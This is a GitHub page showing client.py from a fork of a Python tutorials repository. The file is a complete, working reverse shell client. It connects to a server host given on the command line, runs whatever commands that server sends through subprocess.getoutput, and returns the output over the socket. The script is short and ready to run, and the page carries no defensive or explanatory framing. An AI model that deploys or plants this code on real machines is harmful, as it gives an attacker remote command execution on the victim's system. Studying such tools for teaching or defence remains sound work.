forked from x4nth055/pythoncode-tutorials
-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathclient.py
More file actions
29 lines (25 loc) · 721 Bytes
/
client.py
File metadata and controls
29 lines (25 loc) · 721 Bytes
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
import socket
import subprocess
import sys
SERVER_HOST = sys.argv[1]
SERVER_PORT = 5003
BUFFER_SIZE = 1024
# create the socket object
s = socket.socket()
# connect to the server
s.connect((SERVER_HOST, SERVER_PORT))
# receive the greeting message
message = s.recv(BUFFER_SIZE).decode()
print("Server:", message)
while True:
# receive the command from the server
command = s.recv(BUFFER_SIZE).decode()
if command.lower() == "exit":
# if the command is exit, just break out of the loop
break
# execute the command and retrieve the results
output = subprocess.getoutput(command)
# send the results back to the server
s.send(output.encode())
# close client connection
s.close()